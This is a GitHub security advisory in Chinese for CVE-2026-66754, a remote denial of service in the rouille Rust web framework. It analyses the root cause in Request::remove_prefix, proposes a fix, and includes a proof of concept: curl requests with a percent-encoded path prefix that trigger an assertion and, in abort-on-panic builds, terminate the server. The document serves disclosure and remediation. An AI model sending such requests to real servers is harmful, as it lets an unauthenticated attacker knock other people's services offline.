theopaid/CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-
GitHub: theopaid/CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-
该仓库记录了 rouille Web 框架中因 URL 前缀处理对解码与原始路径不一致而导致的可远程触发拒绝服务漏洞(CVE-2026-66754),包含根因分析、概念验证代码及修复建议。
Stars: 0 | Forks: 0
# 安全公告:通过 URL 前缀处理中的可触发断言导致的远程拒绝服务 (rouille)
**分配的 CVE ID:** CVE-2026-66754
## 摘要
`Request::remove_prefix` 检测的是经过百分号解码的 URL,但却对原始 URL 进行断言。如果一个请求的解码路径以前缀开头,而其原始路径却不是,它就会通过检测并导致断言失败。只需对前缀中的一个字符进行百分号编码即可触发。
在默认构建中,panic 会被捕获并转化为 500 错误。在带有 `panic = "abort"` 的构建中,没有任何机制可以捕获它,只需一个未经身份验证的 GET 请求即可终止服务器进程。
## 受影响版本
仓库 URL:https://github.com/tomaka/rouille
| | |
|---|---|
| 首个受影响版本 | 0.1.6 (2016-09-22),即引入 `remove_prefix` 的版本 |
| 最后受影响版本 | 3.6.2 (2023-04-24),即当前发布版本 |
| 不受影响 | 0.1.5 及更早版本,它们没有 `remove_prefix` |
| 修复版本 | 撰写本文时尚无修复版本 |
在上述范围内的所有版本以及当前的 `master` 分支中,该函数均未发生变化。如果应用程序调用了 `Request::remove_prefix`,就会受到影响,这是 rouille 官方文档中记录的用于在 URL 前缀下提供静态文件的模式(`src/assets.rs` 第 66 至 75 行,以及 `src/lib.rs` 第 804 至 811 行)。
## 严重程度
CWE-617(可触发断言),进而导致 CWE-248(未捕获异常)。
CVSS 4.0 基础得分 8.2(高危)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## 威胁模型
能够发送单个 GET 请求的远程、未经身份验证的客户端。无需凭证,也无需用户交互。
`panic = "abort"` 虽然不是 Cargo 的默认设置,但为了生成更小的二进制文件并降低开销,它是一种常见的发布配置选择。rouille 的可用性依赖于堆栈展开 (unwinding),因为 `Server::process` 在 `src/lib.rs` 第 602 行依赖 `panic::catch_unwind` 将处理器的 panic 转换为 500 错误。这种依赖关系在文档中并未说明。
## 根本原因
`rouille/src/lib.rs`,第 813 至 822 行:
```
813 pub fn remove_prefix(&self, prefix: &str) -> Option {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
```
第 814 行调用了 `self.url()`,它会进行百分号解码。第 819 行对原始字段 `self.url` 进行断言,而第 822 行对同一个原始字段进行切片。只要路径在前缀内包含百分号转义符,这两种表示形式就会不一致:
| 原始 URL | `url()` 解码后 | 第 814 行 | 第 819 行 |
|---|---|---|---|
| `/static/x` | `/static/x` | 通过 | 通过 |
| `/%73tatic/x` | `/static/x` | 通过 | 失败 |
| `/stati%63/x` | `/static/x` | 通过 | 失败 |
这种不匹配同时也意味着 `remove_prefix` 永远无法正确路由合法的百分号编码路径,因此正确性错误和可用性错误可以通过同一个修复来解决。
## 概念验证 (Proof of Concept)
步骤 1. 使用文档中记载的前缀惯用法启动一个服务器。
```
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
```
步骤 2. 发送一个正常的请求,以及一个将 `s` 进行百分号编码的等价请求。
`--path-as-is` 会阻止 curl 对路径进行规范化处理。
```
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
```
默认构建上的结果。第一个是针对缺失文件的正常 404 错误,第二个是被转化为 500 错误的 panic:
```
404
500
```
stderr 上的输出如下:
```
thread '' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
```
步骤 3. 使用 abort-on-panic 重新构建相同的程序,并重复第二个请求。
```
[profile.release]
panic = "abort"
```
```
cargo build --release
./target/release/ &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
```
结果。进程以 SIGABRT 终止(退出代码 134),服务器停止响应。只需一个请求,无需身份验证,即可造成完全的可用性丧失。
## 影响
在带有 `panic = "abort"` 的构建中,单个未经身份验证的请求就会使服务器停止。在默认构建中,路径在前缀内包含百分号转义符的请求会返回 500 而不是被正常服务,因此其路由对于合法客户端也是不正确的。
请注意,该 panic 不会导致 `Server::process` 在 `catch_unwind` 之外(位于 `src/lib.rs` 第 643 和 649 行)解包的 mutex 中毒 (poison),因为 `remove_prefix` 只是克隆了 `Arc`,且从不持有守卫 (guard)。在支持堆栈展开的构建中,工作线程可以完全恢复。
## 修复建议
对同一种表示形式进行比较和切片。最简单正确的版本是对原始 URL 进行比较和切片:
```
pub fn remove_prefix(&self, prefix: &str) -> Option {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
```
如果原本就打算使用解码后的路径进行比较,则应仅对 URL 进行一次解码,从解码后的字符串中剥离前缀,然后对剩余部分重新编码,而不是对原始字段进行切片。
无论哪种方式,都应该移除 `assert!`。库不应该在攻击者可控的输入上中止进程。在文档中说明 rouille 需要 `panic = "unwind"`,或者移除对 `catch_unwind` 在正确性上的依赖,也会有所帮助。
标签:Rust, URL处理, Web框架, 可视化界面, 安全, 拒绝服务, 漏洞通报, 网络流量审计, 超时处理, 配置错误